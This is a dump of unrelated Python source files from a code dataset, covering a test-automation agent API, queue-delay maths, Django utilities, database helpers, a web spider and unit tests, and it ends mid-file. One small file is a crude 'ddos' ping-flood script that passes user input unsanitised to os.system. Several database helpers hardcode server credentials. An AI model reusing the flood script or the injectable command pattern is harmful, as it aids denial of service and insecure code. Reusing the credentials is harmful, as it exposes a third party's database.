render_GET(self, request):\n d = deferToThread(lambda: self.recorder.start())\n d.addCallback(lambda r: json_response(\n {'status': 0, 'output': \"Screencast was started with PID #{}\".format(self.recorder.pid)}, request)\n )\n d.addErrback(lambda f: json_response(\n {'status': 127, 'output': \"Screencast starting was failed: {}\".format(f)}, request)\n )\n return NOT_DONE_YET\n\n\nclass stopScreencast(BaseScreencastCommand):\n def render_GET(self, request):\n d = deferToThread(self.recorder.stop_and_convert)\n d.addCallback(lambda r: json_response(\n {'status': 0, 'output': \"Screencast(PID:{}) was stopped and saved artifact to {}\".format(\n self.recorder.pid, self.recorder.screencast_file_abspath\n )}, request)\n )\n d.addErrback(lambda f: json_response(\n {'status': 127, 'output': \"Screencast stopping was failed: {}\".format(f)}, request)\n )\n return NOT_DONE_YET\n\n\nclass RunScript(Resource):\n isLeaf = True\n\n def __init__(self):\n Resource.__init__(self)\n self.putChild('/websocket', RunScriptWebSocket())\n self.putChild('/http', RunScriptHTTP())\n\n def render(self, request):\n if request.requestHeaders.hasHeader('Upgrade'):\n self.getStaticEntity('/websocket').render(request)\n else:\n self.getStaticEntity('/http').render_POST(request)\n return NOT_DONE_YET\n\n\nclass RunScriptHTTP(Resource):\n def render_POST(self, request):\n data = json.loads(request.content.read())\n d = deferToThread(run_script, data.get(\"script\"), data.get(\"command\", None))\n d.addCallback(lambda r: json_response({'status': r[0], 'output': r[1]}, request))\n d.addErrback(lambda f: json_response({'status': 127, 'output': str(f)}, request))\n return NOT_DONE_YET\n\n\nclass RunScriptWebSocketProtocol(WebSocketServerProtocol):\n def onMessage(self, payload, isBinary):\n data = json.loads(payload)\n d = deferToThread(run_script, data.get(\"script\"), data.get(\"command\", None), self)\n d.addCallback(lambda r: self.endConnection(r))\n d.addErrback(lambda f: self.endConnection(f))\n\n def endConnection(self, result):\n if isinstance(result, tuple) and result[0] == 0:\n self.sendClose(code=WebSocketServerProtocol.CLOSE_STATUS_CODE_NORMAL,\n reason=unicode(result[1])[:120])\n else:\n self.sendClose(code=3001, reason=unicode(result)[:120])\n\n\nclass RunScriptWebSocket(WebSocketResource):\n isLeaf = True\n\n def __init__(self):\n wsfactory = WebSocketServerFactory()\n wsfactory.protocol = RunScriptWebSocketProtocol\n wsfactory.setProtocolOptions(echoCloseCodeReason=True)\n super(RunScriptWebSocket, self).__init__(wsfactory)\n\n\nclass ApiServer(Site):\n root = Resource()\n\n def __init__(self):\n Site.__init__(self, self.root)\n self.root.server = self\n self.root.putChild('takeScreenshot', TakeScreenshot())\n self.root.putChild('runScript', RunScript())\n self.root.putChild('screencast', Screencast())\n","sub_path":"vmmaster_agent/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"537107481","text":"def calculate_priority_delay(topology, sw):\n # вычисляем числитель\n numerator = 0\n for pr in topology.switches[sw].priority_list:\n #print(pr.priority_lambda)\n #for q in pr.queue_list:\n #print(q.slice.packet_size)\n numerator += pr.priority_lambda * (pr.queue_list[0].slice.packet_size ** 2) / \\\n (topology.switches[sw].physical_speed ** 2)\n\n # вычисляем знаменатель\n for i in range(0, len(topology.switches[sw].priority_list)):\n sigma_prev = topology.switches[sw].priority_list[i - 1].sigma_priority\n pr = topology.switches[sw].priority_list[i]\n if pr.priority == 1:\n pr.sigma_priority = pr.priority_lambda / topology.switches[sw].physical_speed\n # if i != 0:\n # print('pr.priority_lambda =', pr.priority_lambda, 'throughput =', topology.switches[sw].physical_speed)\n else:\n pr.sigma_priority = sigma_prev + pr.priority_lambda / topology.switches[sw].physical_speed\n # if i != 0:\n # print('sigma_prev =', sigma_prev, 'pr.priority_lambda =', pr.priority_lambda, 'throughput =', topology.switches[sw].physical_speed)\n denominator = 2 * (1 - sigma_prev) * (1 - pr.sigma_priority)\n pr.delay = (numerator / denominator)\n\n\ndef calculate_queue_delay(pr):\n # вычисляем сумму минимальных требуемых скоростей для слайсов\n sum_r_k = 0\n for i in range(0, len(pr.queue_list)):\n sum_r_k += pr.queue_list[i].slice.qos_throughput\n\n for k in range(0, len(pr.queue_list)):\n # вычисляем знаменатель\n lambda_k = pr.queue_list[k].slice_lambda\n r_k = pr.queue_list[k].slice.qos_throughput\n denominator = 1 - (lambda_k * sum_r_k) / (pr.throughput * r_k)\n # вычислем числитель\n numerator = 0.5 * pr.priority_lambda / (pr.throughput ** 2)\n for j in range(0, len(pr.queue_list)):\n if k == j:\n continue\n r_j = pr.queue_list[j].slice.qos_throughput\n l_j = pr.queue_list[j].slice.packet_size\n lambda_j = pr.queue_list[j].slice_lambda\n rho_j = lambda_j * l_j / r_j\n numerator += (r_j / r_k + rho_j * l_j) / pr.throughput\n # итоговая задержка для\n pr.queue_list[k].b_s = pr.delay + (numerator / denominator)\n","sub_path":"estimation/MG1delay.py","file_name":"MG1delay.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"369273985","text":"import logging\nimport os\nimport re\nimport shutil\nfrom datetime import timedelta\nfrom os.path import dirname, basename\n\nfrom django.db import transaction\nfrom django.utils import timezone\n\nfrom stencila_open.models import Conversion, PUBLIC_ID_LENGTH\n\nMAX_AGE = timedelta(days=1)\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.addHandler(logging.NullHandler())\n\nCONVERSION_STORAGE_SUBDIR = \"conversions\"\n\n\ndef exception_handling_unlink(path: str, file_description: str) -> None:\n if os.path.exists(path):\n try:\n os.unlink(path)\n except OSError:\n LOGGER.exception(\"Error unlinking %s %s\", file_description, path)\n\n\nclass ConversionFileStorage:\n root: str\n\n def __init__(self, root: str):\n self.root = root\n\n def generate_save_directory(self, public_id: str) -> str:\n if not re.match(r\"^([a-z0-9]{\" + str(PUBLIC_ID_LENGTH) + \"})\", public_id, re.I):\n raise ValueError(\n \"ID should not contain any bad characters and must be of length {}.\".format(\n PUBLIC_ID_LENGTH\n )\n )\n\n return os.path.join(\n self.root, CONVERSION_STORAGE_SUBDIR, public_id[0], public_id[1], public_id\n )\n\n def create_save_directory(self, public_id: str) -> None:\n os.makedirs(self.generate_save_directory(public_id), exist_ok=True)\n\n def generate_save_path(self, public_id, filename: str) -> str:\n return os.path.join(self.generate_save_directory(public_id), filename)\n\n def copy_file_to_public_id(self, source: str, public_id: str, filename: str) -> str:\n \"\"\"\n Copy a file or directory to its permanent conversion results location.\n\n Encoda does the file writing itself to a temp file. After that is complete, this should be called to do the\n copy. This is why the file has an `open` (read) but no `write` method.\n \"\"\"\n self.create_save_directory(public_id)\n save_path = self.generate_save_path(public_id, filename)\n if os.path.isdir(source):\n shutil.copytree(source, save_path)\n else:\n shutil.copy(source, save_path)\n return save_path\n\n\ndef cleanup_old_conversions() -> None:\n old_conversions = Conversion.objects.filter(\n created__lte=timezone.now() - MAX_AGE, is_example=False, is_deleted=False\n )\n\n with transaction.atomic():\n for conversion in old_conversions:\n if not conversion.output_file:\n continue\n\n conversion_dir = dirname(conversion.output_file)\n if basename(conversion_dir) == conversion.public_id:\n # new style where everything is stored in a single directory, so just delete it\n try:\n shutil.rmtree(conversion_dir)\n except FileNotFoundError:\n pass\n else:\n # unlink all the pieces\n if conversion.input_file:\n exception_handling_unlink(conversion.input_file, \"conversion input\")\n\n if conversion.output_file:\n exception_handling_unlink(\n conversion.output_file, \"conversion output\"\n )\n exception_handling_unlink(\n conversion.output_file + \".json\", \"conversion intermediary\"\n )\n\n conversion.is_deleted = True\n conversion.save()\n","sub_path":"director/stencila_open/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"16298228","text":"import os\r\nimport time\r\nfrom colorama import init,Back,Fore\r\ninit()\r\nprint(Fore.GREEN)\r\nprint()\r\nprint(\"Example www.site.ru\")\r\nprint(\"Select ip\")\r\nip = input(\"$ \")\r\nprint(\"Choose\")\r\nmamber = input()\r\nddos = ('ping ' + ip + '-t -l ' + mamber)\r\nos.system(ddos)\r\n","sub_path":"main .py","file_name":"main .py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"197429372","text":"import mysql.connector\t\nimport pymysql\nfrom sqlalchemy import create_engine\nimport Utils as log\n\nlogger = log.CreateLogger('Saramin_Crawling')\n \t\n# mysql connection을 선언한다. 파라미터는 host는 접속 주소, user는 ID, passwd는 패스워드, database는 접속할 데이터 베이스이다.\t\ndbconn = mysql.connector.connect(host=\"workwiz.cafe24.com\", port='3306', user=\"workwiz\", passwd=\"qwe123!@3\", database=\"workwiz\")\t\n \t\n# 검색을 할 경우 사용되는 함수.\t\ndef select(query, bufferd=True):\t\n global dbconn\n cursor = dbconn.cursor(dictionary=True, buffered=bufferd)\n cursor.execute(query.encode('utf8'))\n # cursor.fetchall() #로 결과를 리스트로 내보낼 수도 있다. \t\n # 그러나 결과가 대용량일 경우 fetchall로 대량의 값을 메모리에 넣으면 느려질 수 있다.\t\n return cursor\n \t\n# DML(Data Manipulation Language)의 insert, update, delete를 처리하는 함수\t\ndef merge(query, values, bufferd=True):\t\n global dbconn\n try:\t\n cursor = dbconn.cursor(buffered=bufferd)\n cursor.execute(query, values)\t\n dbconn.commit()\t\n except Exception as e:\t\n dbconn.rollback()\t\n raise e\t\n \t\n# DML(Data Manipulation Language)의 insert, update, delete를 대랑 처리하는 함수\t\ndef merge_bulk(query, values, bufferd=True):\t\n global dbconn\t\n try:\t\n cursor = dbconn.cursor(buffered=bufferd)\t\n cursor.executemany(query, values)\t\n #dbconn.commit()\t\n except Exception as e:\t\n dbconn.rollback()\t\n raise e\t\n \t\n# DML이외의 쿼리를 실행하는 함수.\t\ndef execute(query, bufferd=True):\t\n global dbconn\t\n try:\t\n cursor = dbconn.cursor(buffered=bufferd)\t\n cursor.execute(query)\t\n #dbconn.commit()\t\n except Exception as e:\t\n dbconn.rollback()\t\n raise e\t\n\n\ndef setDFtoDB(df): # insert to DB (first API response DF) original Data\n print('START::setDftoDB()')\n result = 1\n df_headers = df.columns\n db_headers = select(\"SELECT * FROM z_api_saramin_all LIMIT 0\").column_names\n df.columns = db_headers[:len(df_headers)]\n \n execute('TRUNCATE z_api_saramin_all')\n dbconn.commit()\n dbconn.close()\n pymysql.install_as_MySQLdb()\n engine = create_engine('mysql://workwiz:qwe123!@3@workwiz.cafe24.com/workwiz')\n conn = engine.connect()\n try:\n df.to_sql(name='z_api_saramin_all', con=engine, if_exists='append', index=False)\n #df.to_sql(name='z_api_saramin', con=engine, if_exists='replace')\n print('**'*60)\n except Exception as e:\n logger.error(f'setDFtoDB(df) Error:: [Saramin]DF Not into DB [error={e}]')\n print(f'df into db Error:::{e}')\n result = 0\n finally:\n conn.close()\n \n return df, result\n\n\ndef DFappendDB(df, table): # df to DB what do you want Table\n print('START::DFappendDB()')\n result = 1\n execute('TRUNCATE ' + table)\n dbconn.commit()\n dbconn.close()\n pymysql.install_as_MySQLdb()\n engine = create_engine('mysql://workwiz:qwe123!@3@workwiz.cafe24.com/workwiz')\n conn = engine.connect()\n try:\n df.to_sql(name=table, con=engine, if_exists='append', index=False)\n #df.to_sql(name='z_api_saramin', con=engine, if_exists='replace')\n print('**'*60)\n except Exception as e:\n logger.error(f'DFappendDB(df, table) Error:: [Saramin]DF Not into DB [error={e}]')\n print(f'df append db Error:::{e}')\n result = 0\n finally:\n conn.close()\n \n return df, result\n\n\ndef getDBdata(query):\n import pandas as pd\n import mysql.connector\n from datetime import datetime\n import json\n query_result = []\n try:\n # DB Connection\n conn = mysql.connector.connect(\n host='workwiz.cafe24.com', \n user='workwiz', \n passwd='qwe123!@3', \n port='3306', \n database='workwiz', \n charset='utf8mb4', autocommit=True)\n\n # Get a DB : select Data\n cursor = conn.cursor(dictionary=True) \n # 쿼리를 실행할시에 query string을 'utf8'로 encode # cursor.execute(query)\n cursor.execute(query.encode('utf8'))\n query_result = cursor.fetchall()\n # query_result1 = json.dumps(query_result)\n # print(query_result)\n except Exception as e:\n logger.error(f'getDBdata(query) Error:: [Saramin]DB get error [error={e}]')\n print(e)\n finally:\n # Close connection\n conn.close()\n\n return query_result\n\ndef Cafe24Connector(): # 카페24 connector with auto_commit\n import pandas as pd\n import mysql.connector\n try:\n # DB Connection\n conn = mysql.connector.connect(\n host='workwiz.cafe24.com', \n user='workwiz', \n passwd='qwe123!@3', \n port='3306', \n database='workwiz', \n charset='utf8mb4', autocommit=True)\n # Get a DB : select Data\n # cursor = conn.cursor(dictionary=True) \n except Exception as e:\n logger.error(f'Cafe24Connection Error:: [Saramin] [error={e}]')\n conn.close()\n return conn\n\ndef selectDBdata(conn, query):\n cursor = conn.cursor(dictionary=True) \n cursor.execute(query.encode('utf8'))\n query_result = cursor.fetchall()\n\n return query_result","sub_path":"Control/control_dbConnect.py","file_name":"control_dbConnect.py","file_ext":"py","file_size_in_byte":5243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"601216424","text":"import os.path\nimport time\nimport unittest\nimport vodka\nimport vodka.plugins\nimport vodka.instance\n\n\n@vodka.plugin.register(\"test_start_plugin_a\")\nclass TimedPlugin(vodka.plugins.TimedPlugin):\n def init(self):\n self.counter = 0\n self.setup_done = False\n\n def setup(self):\n self.setup_done = True\n\n def work(self):\n self.counter += 1\n\n\nHOME = os.path.join(os.path.dirname(__file__), \"resources\", \"test_start_app\")\n\nCONFIG = {\n # applications for this test be loaded from resources/appdir/application.py\n \"apps\": {\n \"test_start_app\": {\"home\": HOME, \"enabled\": True},\n \"test_start_app_inactive\": {\n \"home\": HOME,\n \"module\": \"test_start_app.application\",\n \"enabled\": False,\n },\n },\n \"plugins\": [\n {\n \"type\": \"test_start_plugin_a\",\n \"name\": \"test_start_plugin_a\",\n \"interval\": 0.1,\n \"async\": \"thread\",\n },\n {\n \"type\": \"test_start_plugin_a\",\n \"name\": \"test_start_plugin_b\",\n \"interval\": 0.1,\n \"start_manual\": True,\n },\n ],\n}\n\n\nclass TestStart(unittest.TestCase):\n def test_init_and_start(self):\n r = vodka.init(CONFIG, CONFIG)\n\n # make sure plugin workers were assigned accordingly\n self.assertEqual(\n r,\n {\n \"asyncio_workers\": [],\n \"gevent_workers\": [],\n \"thread_workers\": [vodka.plugin.get_instance(\"test_start_plugin_a\")],\n },\n )\n\n # make sure app was instantiated\n app = vodka.instance.get_instance(\"test_start_app\")\n self.assertEqual(app.setup_done, True)\n\n # make sure inactive app was not instantiated\n with self.assertRaises(KeyError):\n vodka.instance.get_instance(\"test_start_app_inactive\")\n\n # make sure skipped app was not instantiated\n with self.assertRaises(KeyError):\n vodka.instance.get_instance(\"test_start_app_skipped\")\n\n # make sure plugin was setup\n plugin = vodka.plugin.get_instance(\"test_start_plugin_a\")\n self.assertEqual(plugin.setup_done, True)\n\n vodka.start(**r)\n\n # give some time for startup to complete\n time.sleep(0.25)\n\n # make sure plugin is running\n self.assertEqual(plugin.run_level, 1)\n\n # make sure manually started plugin isnt running\n plugin = vodka.plugin.get_instance(\"test_start_plugin_b\")\n self.assertEqual(hasattr(plugin, \"run_level\"), False)\n","sub_path":"tests/test_start.py","file_name":"test_start.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"348456664","text":"# get_brands_db_wx.py\n\n# import library components ---------------------------------------------------\n# import shutil\nimport os\nimport pyodbc\nimport pathlib\nfrom pathlib import Path\nimport pandas as pd\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\nimport numpy as np\n\ndef main():\n # get path of current folder\n folder_path = os.path.dirname(os.path.abspath(__file__))\n\n # identify i/o ----------------------------------------------------------------\n outfile_name = 'db_brands_wx.xlsx'\n outfile_path = folder_path + '\\\\' + outfile_name\n\n # connection & query info -----------------------------------------------------\n print('\\nConnecting to database...')\n server = 'sql.wrangle.works'\n database = 'Wrangleworks'\n username = 'stacy'\n password = '8d39c!76b8d1'\n connection = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+server+';DATABASE='+database+';UID='+username+';PWD='+ password)\n\n # cursor info\n cursor = connection.cursor()\n\n # query info\n brand_query = ['''\n SELECT DISTINCT ID\n FROM Brands\n ORDER BY ID ASC\n ''']\n brands = []\n\n # fetch brands from database --------------------------------------------------\n # fetch brands, append them to pandas array, and print them to console\n print('\\nQuerying the database...')\n cursor.execute(brand_query[0]) # reset the cursor\n row = cursor.fetchone()\n row_count = 0\n while row:\n for i in row:\n print('{}'.format(i), end='')\n brands.append(i)\n row_count += 1\n row = cursor.fetchone()\n print('')\n\n # print query results to excel file -------------------------------------------\n df = pd.DataFrame({'BRAND':brands})\n writer = pd.ExcelWriter(outfile_path)\n df.to_excel(writer,'Sheet1', index=False)\n writer.save()\n\n # end program -----------------------------------------------------------------\n print('\\n{} Brands written'.format(row_count))\n print(outfile_path)\n print('Done.')\n\nif __name__ == '__main__' : main()\n","sub_path":"nu_ners/get_brands_db_wx.py","file_name":"get_brands_db_wx.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"35501339","text":"import requests\r\nfrom optparse import OptionParser\r\nfrom bs4 import BeautifulSoup\r\nimport sys\r\n\r\ndef spider(url,depth):\r\n\tprint(\"Starting depth \"+str(depth))\r\n\tif \"http\" in url:\r\n\t\tdata = requests.get(url)\r\n\t\t\r\n\t\tsoup = BeautifulSoup(data.text,\"html.parser\")\r\n\t\tfor a in soup.find_all(\"a\",href=True):\r\n\t\t \tendpoints.append(a[\"href\"])\r\n\t\tfor endpoint in endpoints:\r\n\t\t\tif final_host in endpoint:\r\n\t\t\t\tfinal_repeated_endpoints.append(endpoint)\r\n\t\tfor i in final_repeated_endpoints:\r\n\t\t\tif i in final_endpoints:\r\n\t\t\t\tpass\r\n\t\t\telse:\r\n\t\t\t\tfinal_endpoints.append(i)\r\n\t\tif depth == 0:\r\n\t\t\tprint(\"\\n\\n=======ENDPOINTS=======\\n\")\r\n\t\t\tprint(\"Found \"+str(len(final_endpoints))+\" endpoints\\n\\n\")\r\n\t\t\tfor j in final_endpoints:\r\n\t\t\t\tprint(j)\r\n\t\t\tsys.exit(1)\r\n\t\tfor url1 in final_endpoints:\r\n\t\t\tspider(url1,depth-1)\r\n\t\r\nparser = OptionParser()\r\nparser.add_option(\"-u\", \"--url\", dest=\"url\",help=\"URL to spider with protocol prefix (HTTP/HTTPS)\")\r\nparser.add_option(\"-d\", \"--depth\", dest=\"depth\",help=\"Depth of spider\",default=\"1\")\r\n(options, args) = parser.parse_args()\r\n\r\nurl = str(options.url)\r\ndepth = int(options.depth)\r\n\r\nd = 0\r\nfinal_repeated_endpoints = []\r\nfinal_endpoints = []\r\nendpoints = []\r\n#url = sys.argv[1]\r\ntry:\r\n\thost = url.split(\"/\")[2]\r\n\r\nexcept IndexError:\r\n\tprint(\"[-] Use -h option for help menu\")\r\n\tsys.exit(1)\r\n\r\nif \"www\" in host:\r\n\tprint(\"Spidering Host: \"+host.split(\".\")[1]+\".\"+host.split(\".\")[2])\r\n\tfinal_host = host.split(\".\")[1]+\".\"+host.split(\".\")[2]\r\nelse:\r\n\tprint(\"Spidering Host: \"+host)\r\n\tfinal_host = host\r\nspider(url,depth)","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"327860300","text":"import matplotlib\nmatplotlib.use('Agg')\nimport os\nimport sys\nimport random\nimport math\nimport re\nimport time\nimport numpy as np\nimport cv2\nimport skimage\nimport json\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport IPython\nimport pickle\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../../\")\n\n# Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom mrcnn.config import Config\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\nfrom mrcnn.model import log\n\nkey_map = {\n 'scrap': 1,\n 'tape': 2,\n 'tube': 3,\n 'screwdriver': 4\n}\n\nkey_map_reverse = {\n 1: 'scrap',\n 2: 'tape',\n 3: 'tube',\n 4: 'screwdriver',\n}\n\n\n\n# # Directory to save logs and trained model\nmodel_dir = '/nfs/diskstation/jonathan/mask/logs/'\nmodel_path = os.path.join(model_dir, \"grasps_rgb/mask_rcnn_grasps_0029.h5\")\ndataset_dir = \"/nfs/diskstation/jonathan/mask/dataset/dataset\"\ndataset_val_dir = \"/nfs/diskstation/jonathan/mask/dataset/dataset_val\"\n\nimage_dir = os.path.join(dataset_dir, \"images/\")\nimage_val_dir = os.path.join(dataset_val_dir, \"images/\")\nanno_dir = os.path.join(dataset_dir, \"annotations/\")\nanno_val_dir = os.path.join(dataset_val_dir, \"annotations/\")\n\noutput_dir = './output/output_rgb/'\noutput_results_dir = './output/output_rgb_results/'\n\n\ndef load_gt_masks(image_name, image_id, anno_path, image_shape):\n f = open(anno_path, 'r')\n anno = json.load(f)\n f.close()\n\n height, width = image_shape[:2]\n polygons = [r['points'] for r in anno['shapes']]\n label_ids = [key_map[r['label']] for r in anno['shapes']]\n\n gt_annos = []\n\n for i, (p, label_id) in enumerate(zip(polygons, label_ids)):\n p = np.array(p)\n all_y = p[:, 1]\n all_x = p[:, 0]\n rr, cc = skimage.draw.polygon(all_y, all_x)\n\n gt_mask = np.zeros((height, width))\n gt_mask[rr, cc] = 1\n gt_mask = gt_mask.astype(bool)\n\n gt_anno = {\n 'image_name': image_name,\n 'image_id': image_id,\n 'category_id': label_id,\n 'segmentation': gt_mask.copy(),\n }\n gt_annos.append(gt_anno)\n\n return gt_annos\n\n\ndef load_pred_masks(image_name, image_id, detection_results):\n r = detection_results[0]\n masks = r['masks'].copy()\n shape = masks.shape\n class_ids = r['class_ids']\n scores = r['scores']\n \n pred_annos = []\n\n for i in range(shape[2]):\n pred_mask = masks[:, :, i].astype(np.bool)\n class_id = class_ids[i]\n\n pred_anno = {\n 'image_name': image_name,\n 'image_id': image_id,\n 'category_id': class_id,\n 'segmentation': pred_mask.copy(),\n 'score': scores[i]\n }\n pred_annos.append(pred_anno)\n\n return pred_annos\n\n\ndef save_results(filename, output_results_dir, pred_results, gt_results):\n assert filename.endswith(\".pkl\")\n pred_dir = os.path.join(output_results_dir, 'pred')\n gt_dir = os.path.join(output_results_dir, 'gt')\n\n if not os.path.exists(pred_dir):\n os.makedirs(pred_dir)\n if not os.path.exists(gt_dir):\n os.makedirs(gt_dir)\n\n pred_path = os.path.join(pred_dir, filename)\n gt_path = os.path.join(gt_dir, filename)\n\n print(\"Saving pred output results to: \" + pred_path)\n print(\"Saving gt output results to: \" + gt_path)\n\n pred_file = open(pred_path, 'wb')\n pickle.dump(pred_results, pred_file, protocol=2)\n pred_file.close()\n gt_file = open(gt_path, 'wb')\n pickle.dump(gt_results, gt_file, protocol=2)\n gt_file.close()\n\n\n\ndef run_eval(model_dir, model_path, image_dir, image_val_dir, \n output_dir, output_results_dir, anno_dir, anno_val_dir):\n\n class GraspsConfig(Config):\n \"\"\"Configuration for training on the toy shapes dataset.\n Derives from the base Config class and overrides values specific\n to the toy shapes dataset.\n \"\"\"\n # Give the configuration a recognizable name\n NAME = \"grasps\"\n\n # Train on 1 GPU and 8 images per GPU. We can put multiple images on each\n # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 4 # background + 4 shapes\n\n # Use small images for faster training. Set the limits of the small side\n # the large side, and that determines the image shape.\n IMAGE_MIN_DIM = 128\n IMAGE_MAX_DIM = 128\n\n # Use smaller anchors because our image and objects are small\n RPN_ANCHOR_SCALES = (8, 16, 32, 64, 128) # anchor side in pixels\n\n # Reduce training ROIs per image because the images are small and have\n # few objects. Aim to allow ROI sampling to pick 33% positive ROIs.\n TRAIN_ROIS_PER_IMAGE = 32\n\n # Use a small epoch since the data is simple\n STEPS_PER_EPOCH = 100\n\n # use small validation steps since the epoch is small\n VALIDATION_STEPS = 5\n\n BATCH_SIZE = 1\n\n config = GraspsConfig()\n model = modellib.MaskRCNN(mode=\"inference\", model_dir=model_dir, config=config)\n model.load_weights(model_path, by_name=True)\n\n\n class_names = ['BG', 'scrap', 'tape', 'tube', 'screwdriver']\n filenames = sorted([filename for filename in list(os.walk(image_dir))[0][2] if filename.endswith('.png')])\n filenames_val = sorted([filename for filename in list(os.walk(image_val_dir))[0][2] if filename.endswith('.png')])\n\n random.shuffle(filenames)\n random.shuffle(filenames_val)\n\n output_val = os.path.join(output_dir, 'val/')\n output_train = os.path.join(output_dir, 'train/')\n\n if not os.path.exists(output_val):\n \tos.makedirs(output_val)\n if not os.path.exists(output_train):\n \tos.makedirs(output_train)\n\n def eval(names, src_dir, dst_dir, anno_dir=None):\n for filename in names:\n srcpath = os.path.join(src_dir, filename)\n dstpath = os.path.join(dst_dir, filename)\n\n print(\"Loading image from: \" + srcpath)\n print(\"Saving image to: \" + dstpath)\n\n image = skimage.io.imread(srcpath)\n image = skimage.color.grey2rgb(image)\n results = model.detect([image], verbose=1)\n\n r = results[0]\n figsize=(16, 16)\n _, ax = plt.subplots(1, figsize=figsize)\n visualize.display_instances(image, r['rois'], r['masks'], r['class_ids'], \n class_names, r['scores'], ax=ax)\n\n plt.savefig(dstpath)\n plt.close()\n plt.clf()\n plt.cla()\n\n\n if not anno_dir is None:\n image_id = int(filename[:-4][-4:])\n anno_filename = filename[:-4] + '.json'\n anno_path = os.path.join(anno_dir, anno_filename)\n\n pred_results = load_pred_masks(filename, image_id, results)\n gt_results = load_gt_masks(filename, image_id, anno_path, image.shape)\n results_filename = filename[:-4] + '.pkl'\n\n save_results(results_filename, output_results_dir, pred_results, gt_results)\n\n\n\n # eval(filenames[:10], image_dir, output_train)\n # eval(filenames[-10:], image_dir, output_train)\n eval(filenames_val[:], image_val_dir, output_val, anno_dir=anno_val_dir)\n\n exit()\n\n\nif __name__ == '__main__':\n run_eval(model_dir, model_path, image_dir, image_val_dir, \n output_dir, output_results_dir, anno_dir, anno_val_dir)\n","sub_path":"samples/shapes/eval_rgb.py","file_name":"eval_rgb.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"622058176","text":"# Queues are first in first out\n\nclass Queue:\n\n def __init__(self):\n self.queue = [] # using a simple list\n\n def empty(self):\n return len(self.queue) == 0\n\n def size(self):\n return len(self.queue)\n\n def top(self):\n return self.queue[-1]\n\n def enqueue(self, element):\n self.queue.append(element)\n\n def dequeue(self):\n if not self.empty():\n element = self.queue[0]\n self.queue = self.queue[1:]\n return element\n else:\n return None\n\nif __name__ == '__main__':\n q = Queue()\n print(q.empty())\n print(q.size())\n q.enqueue(1)\n q.enqueue(2)\n q.enqueue(3)\n q.enqueue(4)\n print(q.empty())\n print(q.size())\n q.dequeue()\n q.dequeue()\n print(q.empty())\n print(q.size())\n q.dequeue()\n q.dequeue()\n print(q.empty())\n print(q.size())\n print(q.dequeue())\n","sub_path":"algorithms-datastructures/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"426940014","text":"# every_third program\ndef every_third(one, two):\n end = 1\n while end > 0:\n try:\n one = int(input('Введіть перше число: '))\n two = int(input('Введіть друге число ')) + 1\n if one > two:\n print('Введене значення повинно бути більше за попереднє!!')\n else:\n break\n except ValueError:\n print('Ви ввели невірне значення')\n even_list = []\n list_generate = []\n for i in range(one, two):\n even_list.append(i)\n# print('Парні числа: ', ([x for x in even_list if x % 2 == 0])) # чисто екпериментальний рядок\n for j in even_list:\n if j % 2 == 0:\n list_generate.append(j)\n print('Введений діапазон чисел: ', even_list)\n print('Знайдені парні числа: ', list_generate)\n\n# every_third program\n print('\\n-----for every_third code-------------------\\n')\n\n def even_list_generate():\n nonlocal one\n nonlocal two\n nonlocal even_list\n lst_rezult = []\n for i in even_list[2::3]:\n lst_rezult.append(i)\n print('Числа, які були використані для формування діапазону:', one, ' та ', two-1)\n print('Кожне третє значення вказаного діапазону: ', lst_rezult)\n\n\n\nevery_third(0, 0)","sub_path":"lesson10/every_third.py","file_name":"every_third.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"136604070","text":"\"\"\" Unit tests for Company views (see views.py) \"\"\"\n\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group\n\nfrom .models import SupplierPart\n\n\nclass CompanyViewTest(TestCase):\n\n fixtures = [\n 'category',\n 'part',\n 'location',\n 'company',\n 'supplier_part',\n ]\n\n def setUp(self):\n super().setUp()\n\n # Create a user\n User = get_user_model()\n self.user = User.objects.create_user(\n username='username',\n email='user@email.com',\n password='password'\n )\n\n # Put the user into a group with the correct permissions\n group = Group.objects.create(name='mygroup')\n self.user.groups.add(group)\n\n # Give the group *all* the permissions!\n for rule in group.rule_sets.all():\n rule.can_view = True\n rule.can_change = True\n rule.can_add = True\n rule.can_delete = True\n\n rule.save()\n\n self.client.login(username='username', password='password')\n\n def test_company_index(self):\n \"\"\" Test the company index \"\"\"\n\n response = self.client.get(reverse('company-index'))\n self.assertEqual(response.status_code, 